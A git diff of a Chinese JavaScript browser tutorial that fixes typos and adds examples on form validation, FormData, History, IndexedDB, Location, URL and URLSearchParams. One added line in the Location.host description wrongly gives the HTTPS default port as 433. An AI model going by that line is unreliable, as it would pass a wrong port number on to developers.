 - Mozilla Developer Network, [window.setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/window.setTimeout)
 - Remy Sharp, [Throttling function calls](http://remysharp.com/2010/07/21/throttling-function-calls/)
-- Ayman Farhat, [An alternative to Javascript's evil setInterval](http://www.thecodeship.com/web-development/alternative-to-javascript-evil-setinterval/)
+- Ayman Farhat, [An alternative to JavaScript's evil setInterval](http://www.thecodeship.com/web-development/alternative-to-javascript-evil-setinterval/)
 - Ilya Grigorik, [Script-injected "async scripts" considered harmful](https://www.igvita.com/2014/05/20/script-injected-async-scripts-considered-harmful/)
 - Axel Rauschmayer, [ECMAScript 6 promises (1/2): foundations](http://www.2ality.com/2014/09/es6-promises-foundations.html)
 - Daniel Imms, [async vs defer attributes](http://www.growingwiththeweb.com/2014/02/async-vs-defer-attributes.html)
 - Craig Buckler, [Load Non-blocking JavaScript with HTML5 Async and Defer](http://www.sitepoint.com/non-blocking-async-defer/)
-- Domenico De Felice, [How browsers work](http://domenicodefelice.blogspot.sg/2015/08/how-browsers-work.html?t=2)
+- Domenico De Felice, [How browsers work](https://domenicodefelice.blogspot.com/2015/08/how-browsers-work.html)
diff --git a/docs/bom/file.md b/docs/bom/file.md
index 2f71471..d44fcb1 100644
--- a/docs/bom/file.md
+++ b/docs/bom/file.md
@@ -109,7 +109,7 @@ FileReader 有以下的实例属性。
 - FileReader.onload：`load`事件（读取操作完成）的监听函数，通常在这个函数里面使用`result`属性，拿到文件内容。
 - FileReader.onloadstart：`loadstart`事件（读取操作开始）的监听函数。
 - FileReader.onloadend：`loadend`事件（读取操作结束）的监听函数。
-- FileReader.onprogress：`progess`事件（读取操作进行中）的监听函数。
+- FileReader.onprogress：`progress`事件（读取操作进行中）的监听函数。
 
 下面是监听`load`事件的一个例子。
 
diff --git a/docs/bom/form.md b/docs/bom/form.md
index 052f359..7b71500 100644
--- a/docs/bom/form.md
+++ b/docs/bom/form.md
@@ -9,7 +9,7 @@
   <div>
     <label for="name">用户名：</label>
     <input type="text" id="name" name="user_name" />
-  <div>
+  </div>
   <div>
     <label for="passwd">密码：</label>
     <input type="password" id="passwd" name="user_passwd" />
@@ -42,7 +42,7 @@ Content-Length: 74
 user_name=张三&user_passwd=123&submit_button=提交
 ```
 
-注意，实际提交的时候，只要键值不是 URL 的合法字符（比如汉字“张三”和“确定”），浏览器会自动对其进行编码。
+注意，实际提交的时候，只要键值不是 URL 的合法字符（比如汉字“张三”和“提交”），浏览器会自动对其进行编码。
 
 点击`submit`控件，就可以提交表单。
 
@@ -80,15 +80,15 @@ formElement.reset()
 
 ### 概述
 
-表单数据以键值对的形式向服务器发送，这个过程是浏览器自动完成的。但是有时候，我们希望通过脚本完成过程，构造和编辑表单键值对，然后通过`XMLHttpRequest.send()`方法发送。浏览器原生提供了 FormData 对象来完成这项工作。
+表单数据以键值对的形式向服务器发送，这个过程是浏览器自动完成的。但是有时候，我们希望通过脚本完成这个过程，构造或编辑表单的键值对，然后通过脚本发送给服务器。浏览器原生提供了 FormData 对象来完成这项工作。
 
-FormData 首先是一个构造函数，用来生成实例。
+`FormData()`首先是一个构造函数，用来生成表单的实例。
 
 ```javascript
 var formdata = new FormData(form);
 ```
 
-`FormData()`构造函数的参数是一个表单元素，这个参数是可选的。如果省略参数，就表示一个空的表单，否则就会处理表单元素里面的键值对。
+`FormData()`构造函数的参数是一个 DOM 的表单元素，构造函数会自动处理表单的键值对。这个参数是可选的，如果省略该参数，就表示一个空的表单。
 
 下面是一个表单。
 
@@ -110,7 +110,7 @@ var formdata = new FormData(form);
 </form>
 ```
 
-我们用 FormData 对象处理上面这个表单。
+我们用`FormData()`处理上面这个表单。
 
 ```javascript
 var myForm = document.getElementById('myForm');
@@ -173,7 +173,7 @@ for (var value of formData.values()) {
 // "value2"
 
 for (var pair of formData.entries()) {
-  console.log(pair[0] + ': ' + pair[1]); 
+  console.log(pair[0] + ': ' + pair[1]);
 }
 // key1: value1
 // key2: value2
@@ -214,6 +214,16 @@ for (var pair of formData) {
 
 如果一个控件通过验证，它就会匹配`:valid`的 CSS 伪类，浏览器会继续进行表单提交的流程。如果没有通过验证，该控件就会匹配`:invalid`的 CSS 伪类，浏览器会终止表单提交，并显示一个错误信息。
 
+```css
+input:invalid {
+  border-color: red;
+}
+input,
+input:valid {
+  border-color: #ccc;
+}
+```
+
 ### checkValidity()
 
 除了提交表单的时候，浏览器自动校验表单，还可以手动触发表单的校验。表单元素和表单控件都有`checkValidity()`方法，用于手动触发校验。
@@ -272,18 +282,48 @@ document.querySelector('form input').validationMessage
 var myInput = document.getElementById('myinput');
 if (!myInput.checkValidity()) {
   document.getElementById('prompt').innerHTML = myInput.validationMessage;
-} 
+}
 ```
 
 ### setCustomValidity()
 
 控件元素的`setCustomValidity()`方法用来定制校验失败时的报错信息。它接受一个字符串作为参数，该字符串就是定制的报错信息。如果参数为空字符串，则上次设置的报错信息被清除。
 
-如果调用这个方法，并且参数不为空字符串，浏览器就会认为控件没有通过校验，就会立刻显示该方法设置的报错信息。
+这个方法可以替换浏览器内置的表单验证报错信息，参数就是要显示的报错信息。
+
+```html
+<form action="somefile.php">
+  <input
+    type="text"
+    name="username"
+    placeholder="Username"
+    pattern="[a-z]{1,15}"
+    id="username"
+  >
+  <input type="submit">
+</form>
+```
+
+上面的表单输入框，要求只能输入小写字母，且不得超过15个字符。如果输入不符合要求（比如输入“ABC”），提交表单的时候，Chrome 浏览器会弹出报错信息“Please match the requested format.”，禁止表单提交。下面使用`setCustomValidity()`方法替换掉报错信息。
 
 ```javascript
-// HTML 代码如下
-// <input type="file" id="fs">
+var input = document.getElementById('username');
+input.oninvalid = function (event) {
+  event.target.setCustomValidity(
+    '用户名必须是小写字母，不能为空，最长不超过15个字符'
+  );
+}
+```
+
+上面代码中，`setCustomValidity()`方法是在`invalid`事件的监听函数里面调用。该方法也可以直接调用，这时如果参数不为空字符串，浏览器就会认为该控件没有通过校验，就会立刻显示该方法设置的报错信息。
+
+```javascript
+/* HTML 代码如下
+<form>
+  <p><input type="file" id="fs"></p>
+  <p><input type="submit"></p>
+</form>
+*/
 
 document.getElementById('fs').onchange = checkFileSize;
 
@@ -292,7 +332,7 @@ function checkFileSize() {
   var files = fs.files;
   if (files.length > 0) {
      if (files[0].size > 75 * 1024) {
-       fs.setCustomValidity('文件不能大于75KB');
+       fs.setCustomValidity('文件不能大于 75KB');
        return;
      }
   }
@@ -300,13 +340,15 @@ function checkFileSize() {
 }
 ```
 
+上面代码一旦发现文件大于 75KB，就会设置校验失败，同时给出自定义的报错信息。然后，点击提交按钮时，就会显示报错信息。这种校验失败是不会自动消除的，所以如果所有文件都符合条件，要将报错信息设为空字符串，手动消除校验失败的状态。
+
 ### validity 属性
 
 控件元素的属性`validity`属性返回一个`ValidityState`对象，包含当前校验状态的信息。
 
 该对象有以下属性，全部为只读属性。
 
-- `ValidityState.badInput`：布尔值，表示浏览器是否不能将用户的输入转换成正确的类型，比如用户在数值框里面输入字符串。 
+- `ValidityState.badInput`：布尔值，表示浏览器是否不能将用户的输入转换成正确的类型，比如用户在数值框里面输入字符串。
 - `ValidityState.customError`：布尔值，表示是否已经调用`setCustomValidity()`方法，将校验信息设置为一个非空字符串。
 - `ValidityState.patternMismatch`：布尔值，表示用户输入的值是否不满足模式的要求。
 - `ValidityState.rangeOverflow`：布尔值，表示用户输入的值是否大于最大范围。
@@ -314,7 +356,7 @@ function checkFileSize() {
 - `ValidityState.stepMismatch`：布尔值，表示用户输入的值不符合步长的设置（即不能被步长值整除）。
 - `ValidityState.tooLong`：布尔值，表示用户输入的字数超出了最长字数。
 - `ValidityState.tooShort`：布尔值，表示用户输入的字符少于最短字数。
-- `ValidityState.typeMismatch`：布尔值，表示用户填入的值不符合类型要求（主要是类型为 Email 或 URL 的情况）。 
+- `ValidityState.typeMismatch`：布尔值，表示用户填入的值不符合类型要求（主要是类型为 Email 或 URL 的情况）。
 - `ValidityState.valid`：布尔值，表示用户是否满足所有校验条件。
 - `ValidityState.valueMissing`：布尔值，表示用户没有填入必填的值。
 
@@ -339,6 +381,37 @@ if (document.getElementById('myInput').validity.rangeOverflow) {
 document.getElementById('prompt').innerHTML = txt;
 ```
 
+如果想禁止浏览器弹出表单验证的报错信息，可以监听`invalid`事件。
+
+```javascript
+var input = document.getElementById('username');
+var form  = document.getElementById('form');
+
+var elem = document.createElement('div');
+elem.id  = 'notify';
+elem.style.display = 'none';
+form.appendChild(elem);
+
+input.addEventListener('invalid', function (event) {
+  event.preventDefault();
+  if (!event.target.validity.valid) {
+    elem.textContent   = '用户名必须是小写字母';
+    elem.className     = 'error';
+    elem.style.display = 'block';
+    input.className    = 'invalid animated shake';
+  }
+});
+
+input.addEventListener('input', function(event){
+  if ( 'block' === elem.style.display ) {
+    input.className = '';
+    elem.style.display = 'none';
+  }
+});
+```
+
+上面代码中，一旦发生`invalid`事件（表单验证失败），`event.preventDefault()`用来禁止浏览器弹出默认的验证失败提示，然后设置定制的报错提示框。
+
 ### 表单的 novalidate 属性
 
 表单元素的 HTML 属性`novalidate`，可以关闭浏览器的自动校验。
@@ -362,7 +435,7 @@ form.noValidate = true;
 </form>
 ```
 
-## enctype 属性 
+## enctype 属性
 
 表单能够用四种编码，向服务器发送数据。编码格式由表单的`enctype`属性决定。
 
@@ -548,3 +621,6 @@ xhr.setRequestHeader('Content-Type', file.type);
 xhr.send(file);
 ```
 
+## 参考链接
+
+- [HTML5 Form Validation With the “pattern” Attribute](https://webdesign.tutsplus.com/tutorials/html5-form-validation-with-the-pattern-attribute--cms-25145), Thoriq Firdaus
diff --git a/docs/bom/history.md b/docs/bom/history.md
index 092bcbc..174f268 100644
--- a/docs/bom/history.md
+++ b/docs/bom/history.md
@@ -29,6 +29,15 @@ History 对象主要有两个属性。
 - `History.length`：当前窗口访问过的网址数量（包括当前网页）
 - `History.state`：History 堆栈最上层的状态值（详见下文）
 
+```javascript
+// 当前窗口访问过多少个网页
+window.history.length // 1
+
+// History 对象的当前状态
+// 通常是 undefined，即未设置
+window.history.state // undefined
+```
+
 ## 方法
 
 ### History.back()、History.forward()、History.go()
@@ -48,12 +57,12 @@ history.go(-2);
 `history.go(0)`相当于刷新当前页面。
 
 ```javascript
-history.go(0);记录
+history.go(0); // 刷新当前页面
 ```
 
 注意，移动到以前访问过的页面时，页面通常是从浏览器缓存之中加载，而不是重新要求服务器发送新的网页。
 
-### History.pushState()，
+### History.pushState()
 
 `History.pushState()`方法用于在历史中添加一条记录。
 
@@ -154,4 +163,3 @@ var currentState = history.state;
 ```
 
 注意，页面第一次加载的时候，浏览器不会触发`popstate`事件。
-
diff --git a/docs/bom/indexeddb.md b/docs/bom/indexeddb.md
index 752f4f2..7472264 100644
--- a/docs/bom/indexeddb.md
+++ b/docs/bom/indexeddb.md
@@ -4,7 +4,7 @@
 
 随着浏览器的功能不断增强，越来越多的网站开始考虑，将大量数据储存在客户端，这样可以减少从服务器获取数据，直接从本地获取数据。
 
-现有的浏览器数据储存方案，都不适合储存大量数据：Cookie 的大小不超过4KB，且每次请求都会发送回服务器；LocalStorage 在 2.5MB 到 10MB 之间（各家浏览器不同），而且不提供搜索功能，不能建立自定义的索引。所以，需要一种新的解决方案，这就是 IndexedDB 诞生的背景。
+现有的浏览器数据储存方案，都不适合储存大量数据：Cookie 的大小不超过 4KB，且每次请求都会发送回服务器；LocalStorage 在 2.5MB 到 10MB 之间（各家浏览器不同），而且不提供搜索功能，不能建立自定义的索引。所以，需要一种新的解决方案，这就是 IndexedDB 诞生的背景。
 
 通俗地说，IndexedDB 就是浏览器提供的本地数据库，它可以被网页脚本创建和操作。IndexedDB 允许储存大量数据，提供查找接口，还能建立索引。这些都是 LocalStorage 所不具备的。就数据库类型而言，IndexedDB 不属于关系型数据库（不支持 SQL 查询语句），更接近 NoSQL 数据库。
 
@@ -16,9 +16,9 @@ IndexedDB 具有以下特点。
 
 **（3）支持事务。** IndexedDB 支持事务（transaction），这意味着一系列操作步骤之中，只要有一步失败，整个事务就都取消，数据库回滚到事务发生之前的状态，不存在只改写一部分数据的情况。
 
-**（4）同源限制** IndexedDB 受到同源限制，每一个数据库对应创建它的域名。网页只能访问自身域名下的数据库，而不能访问跨域的数据库。
+**（4）同源限制。** IndexedDB 受到同源限制，每一个数据库对应创建它的域名。网页只能访问自身域名下的数据库，而不能访问跨域的数据库。
 
-**（5）储存空间大** IndexedDB 的储存空间比 LocalStorage 大得多，一般来说不少于 250MB，甚至没有上限。
+**（5）储存空间大。** IndexedDB 的储存空间比 LocalStorage 大得多，一般来说不少于 250MB，甚至没有上限。
 
 **（6）支持二进制储存。** IndexedDB 不仅可以储存字符串，还可以储存二进制数据（ArrayBuffer 对象和 Blob 对象）。
 
@@ -467,7 +467,7 @@ IDBDatabase 对象有以下属性。
 - `IDBDatabase.onerror`：指定 error 事件（访问数据库失败）的监听函数。
 - `IDBDatabase.onversionchange`：数据库版本变化时触发（发生`upgradeneeded`事件，或调用`indexedDB.deleteDatabase()`）。
 
-下面是`objectStoreNames`属性的例子。该属性返回一个DOMStringList 对象，包含了当前数据库所有对象仓库的名称（即表名），可以使用 DOMStringList 对象的`contains`方法，检查数据库是否包含某个对象仓库。
+下面是`objectStoreNames`属性的例子。该属性返回一个 DOMStringList 对象，包含了当前数据库所有对象仓库的名称（即表名），可以使用 DOMStringList 对象的`contains`方法，检查数据库是否包含某个对象仓库。
 
 ```javascript
 if (!db.objectStoreNames.contains('firstOS')) {
@@ -597,7 +597,7 @@ DBOpenRequest.onsuccess = function (event) {
   };
 
   transaction.onerror = function (event) {
-    console.log('tansaction error: ' + transaction.error);
+    console.log('transaction error: ' + transaction.error);
   };
 
   var objectStore = transaction.objectStore('items');
@@ -819,11 +819,11 @@ DBOpenRequest.onsuccess = function(event) {
   var transaction = db.transaction(['demo'], 'readwrite');
 
   transaction.oncomplete = function (event) {
-    console.log('transaction success');  
+    console.log('transaction success');
   };
 
   transaction.onerror = function (event) {
-    console.log('tansaction error: ' + transaction.error);
+    console.log('transaction error: ' + transaction.error);
   };
 
   var objectStore = transaction.objectStore('demo');
@@ -910,7 +910,7 @@ IDBIndex 对象有以下属性。
 
 IDBIndex 对象有以下方法，它们都是异步的，立即返回的都是一个 IDBRequest 对象。
 
-- `IDBIndex.count()`：用来获取记录的数量。它可以接受主键或 KeyRange 对象作为参数，这时只返回符合主键的记录数量，否则返回所有记录的数量。
+- `IDBIndex.count()`：用来获取记录的数量。它可以接受主键或 IDBKeyRange 对象作为参数，这时只返回符合主键的记录数量，否则返回所有记录的数量。
 - `IDBIndex.get(key)`：用来获取符合指定主键的数据记录。
 - `IDBIndex.getKey(key)`：用来获取指定的主键。
 - `IDBIndex.getAll()`：用来获取所有的数据记录。它可以接受两个参数，都是可选的，第一个参数用来指定主键，第二个参数用来指定返回记录的数量。如果省略这两个参数，则返回所有记录。由于获取成功时，浏览器必须生成所有对象，所以对性能有影响。如果数据集比较大，建议使用 IDBCursor 对象。
@@ -920,7 +920,7 @@ IDBIndex 对象有以下方法，它们都是异步的，立即返回的都是
 
 ## IDBCursor 对象
 
-IDBCursor 对象代表指针对象，用来遍历数据仓库（IDBObjectStroe）或索引（IDBIndex）的记录。
+IDBCursor 对象代表指针对象，用来遍历数据仓库（IDBObjectStore）或索引（IDBIndex）的记录。
 
 IDBCursor 对象一般通过`IDBObjectStore.openCursor()`方法获得。
 
@@ -932,15 +932,14 @@ objectStore.openCursor(null, 'next').onsuccess = function(event) {
   var cursor = event.target.result;
   if (cursor) {
     var listItem = document.createElement('li');
-      listItem.innerHTML = cursor.value.albumTitle + ', ' + cursor.value.year;
-      list.appendChild(listItem);
+    listItem.innerHTML = cursor.value.albumTitle + ', ' + cursor.value.year;
+    list.appendChild(listItem);
 
-      console.log(cursor.source);
-      cursor.continue();
-    } else {
-      console.log('Entries all displayed.');
-    }
-  };
+    console.log(cursor.source);
+    cursor.continue();
+  } else {
+    console.log('Entries all displayed.');
+  }
 };
 ```
 
@@ -950,7 +949,7 @@ IDBCursor 对象的属性。
 - `IDBCursor.direction`：字符串，表示指针遍历的方向。共有四个可能的值：next（从头开始向后遍历）、nextunique（从头开始向后遍历，重复的值只遍历一次）、prev（从尾部开始向前遍历）、prevunique（从尾部开始向前遍历，重复的值只遍历一次）。该属性通过`IDBObjectStore.openCursor()`方法的第二个参数指定，一旦指定就不能改变了。
 - `IDBCursor.key`：返回当前记录的主键。
 - `IDBCursor.value`：返回当前记录的数据值。
-- IDBCursor.primaryKey：返回当前记录的主键。对于数据仓库（objectStore）来说，这个属性等同于 IDBCursor.key；对于索引，IDBCursor.key 返回索引的位置值，该属性返回数据记录的主键。
+- `IDBCursor.primaryKey`：返回当前记录的主键。对于数据仓库（objectStore）来说，这个属性等同于 IDBCursor.key；对于索引，IDBCursor.key 返回索引的位置值，该属性返回数据记录的主键。
 
 IDBCursor 对象有如下方法。
 
@@ -962,7 +961,7 @@ IDBCursor 对象有如下方法。
 
 ## IDBKeyRange 对象
 
-IDBKeyRange 对象代表数据仓库（object store）里面的一组主键。根据这组主键，可以获取数据仓库或主键里面的一组记录。
+IDBKeyRange 对象代表数据仓库（object store）里面的一组主键。根据这组主键，可以获取数据仓库或索引里面的一组记录。
 
 IDBKeyRange 可以只包含一个值，也可以指定上限和下限。它有四个静态方法，用来指定主键的范围。
 
@@ -998,7 +997,7 @@ var r7 = IDBKeyRange.bound(x, y, true, false);
 // All keys ≥ x &&< y
 var r8 = IDBKeyRange.bound(x, y, false, true);
 
-// The key = z	
+// The key = z
 var r9 = IDBKeyRange.only(z);
 ```
 
diff --git a/docs/bom/location.md b/docs/bom/location.md
index 0052744..7233095 100644
--- a/docs/bom/location.md
+++ b/docs/bom/location.md
@@ -10,17 +10,17 @@ URL 是互联网的基础设施之一。浏览器提供了一些原生对象，
 
 `Location`对象提供以下属性。
 
-- Location.href：整个 URL。
-- Location.protocol：当前 URL 的协议，包括冒号（`:`）。
-- Location.host：主机，包括冒号（`:`）和端口（默认的80端口和443端口会省略）。
-- Location.hostname：主机名，不包括端口。
-- Location.port：端口号。
-- Location.pathname：URL 的路径部分，从根路径`/`开始。
-- Location.search：查询字符串部分，从问号`?`开始。
-- Location.hash：片段字符串部分，从`#`开始。
-- Location.username：域名前面的用户名。
-- Location.password：域名前面的密码。
-- Location.origin：URL 的协议、主机名和端口。
+- `Location.href`：整个 URL。
+- `Location.protocol`：当前 URL 的协议，包括冒号（`:`）。
+- `Location.host`：主机。如果端口不是协议默认的`80`和`433`，则还会包括冒号（`:`）和端口。
+- `Location.hostname`：主机名，不包括端口。
+- `Location.port`：端口号。
+- `Location.pathname`：URL 的路径部分，从根路径`/`开始。
+- `Location.search`：查询字符串部分，从问号`?`开始。
+- `Location.hash`：片段字符串部分，从`#`开始。
+- `Location.username`：域名前面的用户名。
+- `Location.password`：域名前面的密码。
+- `Location.origin`：URL 的协议、主机名和端口。
 
 ```javascript
 // 当前网址为
@@ -74,7 +74,7 @@ document.location = 'http://www.example.com';
 document.location.href = 'http://www.example.com';
 ```
 
-另外，`Location.href`属性是浏览器唯一允许跨域写入的属性，即非同源的窗口可以改写另一个窗口的`Location.href`属性，导致后者的网址跳转。`Location`的其他属性都不允许跨域写入。
+另外，`Location.href`属性是浏览器唯一允许跨域写入的属性，即非同源的窗口可以改写另一个窗口（比如子窗口与父窗口）的`Location.href`属性，导致后者的网址跳转。`Location`的其他属性都不允许跨域写入。
 
 ### 方法
 
@@ -115,12 +115,14 @@ window.location.reload(true);
 
 ## URL 的编码和解码
 
-网页的 URL 只能包含合法的字符，这可以分成两类。
+网页的 URL 只能包含合法的字符。合法字符分成两类。
 
-- URL 元字符：分号（`;`），逗号（','），斜杠（`/`），问号（`?`），冒号（`:`），at（`@`），`&`，等号（`=`），加号（`+`），美元符号（`$`），井号（`#`）
-- 语义字符：`a-z`，`A-Z`，`0-9`，连词号（`-`），下划线（`_`），点（`.`），感叹号（`!`），波浪线（`~`），星号（`*`），单引号（`\``），圆括号（`()`）
+- URL 元字符：分号（`;`），逗号（`,`），斜杠（`/`），问号（`?`），冒号（`:`），at（`@`），`&`，等号（`=`），加号（`+`），美元符号（`$`），井号（`#`）
+- 语义字符：`a-z`，`A-Z`，`0-9`，连词号（`-`），下划线（`_`），点（`.`），感叹号（`!`），波浪线（`~`），星号（`*`），单引号（`'`），圆括号（`()`）
 
-除了以上字符，其他字符出现在 URL 之中都必须转义，规则是根据操作系统的默认编码，将每个字节转为百分号（`%`）加上两个大写的十六进制字母。比如，UTF-8 的操作系统上，`http://www.example.com/q=春节`这个 URL 之中，汉字“春节”不是 URL 的合法字符，所以被浏览器自动转成`http://www.example.com/q=%E6%98%A5%E8%8A%82`。其中，“春”转成了`%E6%98%A5`，“节”转成了“%E8%8A%82”。这是因为“春”和”节“的 UTF-8 编码分别是`E6 98 A5`和`E8 8A 82`，将每个字节前面加上百分号，就构成了 URL 编码。
+除了以上字符，其他字符出现在 URL 之中都必须转义，规则是根据操作系统的默认编码，将每个字节转为百分号（`%`）加上两个大写的十六进制字母。
+
+比如，UTF-8 的操作系统上，`http://www.example.com/q=春节`这个 URL 之中，汉字“春节”不是 URL 的合法字符，所以被浏览器自动转成`http://www.example.com/q=%E6%98%A5%E8%8A%82`。其中，“春”转成了`%E6%98%A5`，“节”转成了`%E8%8A%82`。这是因为“春”和“节”的 UTF-8 编码分别是`E6 98 A5`和`E8 8A 82`，将每个字节前面加上百分号，就构成了 URL 编码。
 
 JavaScript 提供四个 URL 的编码/解码方法。
 
@@ -169,27 +171,13 @@ decodeURIComponent('%E6%98%A5%E8%8A%82')
 // "春节"
 ```
 
-## URL 对象
-
-`URL`对象是浏览器的原生对象，可以用来构造、解析和编码 URL。一般情况下，通过`window.URL`可以拿到这个对象。
-
-`<a>`元素和`<area>`元素都部署了这个接口。这就是说，它们的 DOM 节点对象可以 URL 的实例属性和方法。
-
-```javascript
-var a = document.createElement('a');
-a.href = 'http://example.com/?foo=1';
-
-a.hostname // "example.com"
-a.search // "?foo=1"
-```
+## URL 接口
 
-上面代码中，`a`是`<a>`元素的 DOM 节点对象。可以在这个对象上使用 URL 的实例属性，比如`hostname`和`search`。
+浏览器原生提供`URL()`接口，它是一个构造函数，用来构造、解析和编码 URL。一般情况下，通过`window.URL`可以拿到这个构造函数。
 
 ### 构造函数
 
-`URL`对象本身是一个构造函数，可以生成 URL 实例。
-
-它接受一个表示 URL 的字符串作为参数。如果参数不是合法的 URL，会报错。
+`URL()`作为构造函数，可以生成 URL 实例。它接受一个表示 URL 的字符串作为参数。如果参数不是合法的 URL，会报错。
 
 ```javascript
 var url = new URL('http://www.example.com/index.html');
@@ -197,7 +185,9 @@ url.href
 // "http://www.example.com/index.html"
 ```
 
-如果参数是另一个 URL 实例，构造函数会自动读取该实例的`href`属性，作为实际参数。
+上面示例生成了一个 URL 实例，用来代表指定的网址。
+
+除了字符串，`URL()`的参数也可以是另一个 URL 实例。这时，`URL()`会自动读取该实例的`href`属性，作为实际参数。
 
 如果 URL 字符串是一个相对路径，那么需要表示绝对路径的第二个参数，作为计算基准。
 
@@ -263,7 +253,7 @@ url.username
 // "user"
 ```
 
-这些属性里面，只有`origin`属性是只读的，其他属性都可写。
+这些属性里面，只有`origin`属性是只读的，其他属性都可写，并且会立即生效。
 
 ```javascript
 var url = new URL('http://example.com/index.html#part1');
@@ -281,7 +271,7 @@ url.href // "http://example.com/index2.html#part2"
 
 **（1）URL.createObjectURL()**
 
-`URL.createObjectURL`方法用来为上传/下载的文件、流媒体文件生成一个 URL 字符串。这个字符串代表了`File`对象或`Blob`对象的 URL。
+`URL.createObjectURL()`方法用来为上传/下载的文件、流媒体文件生成一个 URL 字符串。这个字符串代表了`File`对象或`Blob`对象的 URL。
 
 ```javascript
 // HTML 代码如下
@@ -304,7 +294,7 @@ function handleFiles(files) {
 }
 ```
 
-上面代码中，`URL.createObjectURL`方法用来为上传的文件生成一个 URL 字符串，作为`<img>`元素的图片来源。
+上面代码中，`URL.createObjectURL()`方法用来为上传的文件生成一个 URL 字符串，作为`<img>`元素的图片来源。
 
 该方法生成的 URL 就像下面的样子。
 
@@ -312,11 +302,11 @@ function handleFiles(files) {
 blob:http://localhost/c745ef73-ece9-46da-8f66-ebes574789b1
 ```
 
-注意，每次使用`URL.createObjectURL`方法，都会在内存里面生成一个 URL 实例。如果不再需要该方法生成的 URL 字符串，为了节省内存，可以使用`URL.revokeObjectURL()`方法释放这个实例。
+注意，每次使用`URL.createObjectURL()`方法，都会在内存里面生成一个 URL 实例。如果不再需要该方法生成的 URL 字符串，为了节省内存，可以使用`URL.revokeObjectURL()`方法释放这个实例。
 
 **（2）URL.revokeObjectURL()**
 
-`URL.revokeObjectURL`方法用来释放`URL.createObjectURL`方法生成的 URL 实例。它的参数就是`URL.createObjectURL`方法返回的 URL 字符串。
+`URL.revokeObjectURL()`方法用来释放`URL.createObjectURL()`方法生成的 URL 实例。它的参数就是`URL.createObjectURL()`方法返回的 URL 字符串。
 
 下面为上一段的示例加上`URL.revokeObjectURL()`。
 
@@ -335,7 +325,7 @@ function handleFiles(files) {
 }
 ```
 
-上面代码中，一旦图片加载成功以后，为本地文件生成的 URL 字符串就没用了，于是可以在`img.onload`回调函数里面，通过`URL.revokeObjectURL`方法卸载这个 URL 实例。
+上面代码中，一旦图片加载成功以后，为本地文件生成的 URL 字符串就没用了，于是可以在`img.onload`回调函数里面，通过`URL.revokeObjectURL()`方法卸载这个 URL 实例。
 
 ## URLSearchParams 对象
 
@@ -379,7 +369,7 @@ fetch('https://example.com/api', {
 
 上面代码中，`fetch`命令向服务器发送命令时，可以直接使用`URLSearchParams`实例。
 
-`URLSearchParams`可以与`URL`接口结合使用。
+`URLSearchParams`可以与`URL()`接口结合使用。
 
 ```javascript
 var url = new URL(window.location);
@@ -388,14 +378,6 @@ var foo = url.searchParams.get('foo') || 'somedefault';
 
 上面代码中，URL 实例的`searchParams`属性就是一个`URLSearchParams`实例，所以可以使用`URLSearchParams`接口的`get`方法。
 
-DOM 的`a`元素节点的`searchParams`属性，就是一个`URLSearchParams`实例。
-
-```javascript
-var a = document.createElement('a');
-a.href = 'https://example.com?filter=api';
-a.searchParams.get('filter') // "api"
-```
-
 `URLSearchParams`实例有遍历器接口，可以用`for...of`循环遍历（详见《ES6 标准入门》的《Iterator》一章）。
 
 ```javascript
@@ -432,7 +414,7 @@ window.location.href = location.pathname + '?' + params;
 
 ### URLSearchParams.append()
 
-`append`方法用来追加一个查询参数。它接受两个参数，第一个为键名，第二个为键值，没有返回值。
+`append()`方法用来追加一个查询参数。它接受两个参数，第一个为键名，第二个为键值，没有返回值。
 
 ```javascript
 var params = new URLSearchParams({'foo': 1 , 'bar': 2});
@@ -440,7 +422,7 @@ params.append('baz', 3);
 params.toString() // "foo=1&bar=2&baz=3"
 ```
 
-`append`方法不会识别是否键名已经存在。
+`append()`方法不会识别是否键名已经存在。
 
 ```javascript
 var params = new URLSearchParams({'foo': 1 , 'bar': 2});
@@ -452,7 +434,7 @@ params.toString() // "foo=1&bar=2&foo=3"
 
 ### URLSearchParams.delete()
 
-`delete`方法用来删除指定的查询参数。它接受键名作为参数。
+`delete()`方法用来删除指定的查询参数。它接受键名作为参数。
 
 ```javascript
 var params = new URLSearchParams({'foo': 1 , 'bar': 2});
@@ -462,7 +444,7 @@ params.toString() // "foo=1"
 
 ### URLSearchParams.has()
 
-`has`方法返回一个布尔值，表示查询字符串是否包含指定的键名。
+`has()`方法返回一个布尔值，表示查询字符串是否包含指定的键名。
 
 ```javascript
 var params = new URLSearchParams({'foo': 1 , 'bar': 2});
@@ -472,7 +454,7 @@ params.has('baz') // false
 
 ### URLSearchParams.set()
 
-`set`方法用来设置查询字符串的键值。
+`set()`方法用来设置查询字符串的键值。
 
 它接受两个参数，第一个是键名，第二个是键值。如果是已经存在的键，键值会被改写，否则会被追加。
 
@@ -499,7 +481,7 @@ params.toString() // "foo=3"
 ```javascript
 // URL: https://example.com?version=1.0
 var params = new URLSearchParams(location.search.slice(1));
-params.set('version', 2.0);
+params.set('version', '2.0');
 
 window.history.replaceState({}, '', location.pathname + `?` + params);
 // URL: https://example.com?version=2.0
@@ -507,7 +489,7 @@ window.history.replaceState({}, '', location.pathname + `?` + params);
 
 ### URLSearchParams.get()，URLSearchParams.getAll()
 
-`get`方法用来读取查询字符串里面的指定键。它接受键名作为参数。
+`get()`方法用来读取查询字符串里面的指定键。它接受键名作为参数。
 
 ```javascript
 var params = new URLSearchParams('?foo=1');
@@ -526,7 +508,7 @@ params.get('foo') // "3"
 
 上面代码中，查询字符串有三个`foo`键，`get`方法返回最前面的键值`3`。
 
-`getAll`方法返回一个数组，成员是指定键的所有键值。它接受键名作为参数。
+`getAll()`方法返回一个数组，成员是指定键的所有键值。它接受键名作为参数。
 
 ```javascript
 var params = new URLSearchParams('?foo=1&foo=2');
@@ -537,7 +519,7 @@ params.getAll('foo') // ["1", "2"]
 
 ### URLSearchParams.sort()
 
-`sort`方法对查询字符串里面的键进行排序，规则是按照 Unicode 码点从小到大排列。
+`sort()`方法对查询字符串里面的键进行排序，规则是按照 Unicode 码点从小到大排列。
 
 该方法没有返回值，或者说返回值是`undefined`。
 
@@ -551,7 +533,7 @@ params.toString() // "a=2&a=1&b=3&c=4"
 
 ### URLSearchParams.keys()，URLSearchParams.values()，URLSearchParams.entries()
 
-这三个方法都返回一个遍历器对象，供`for...of`循环消费。它们的区别在于，`keys`方法返回的是键名的遍历器，`values`方法返回的是键值的遍历器，`entries`返回的是键值的遍历器。
+这三个方法都返回一个遍历器对象，供`for...of`循环遍历。它们的区别在于，`keys`方法返回的是键名的遍历器，`values`方法返回的是键值的遍历器，`entries`返回的是键值对的遍历器。
 
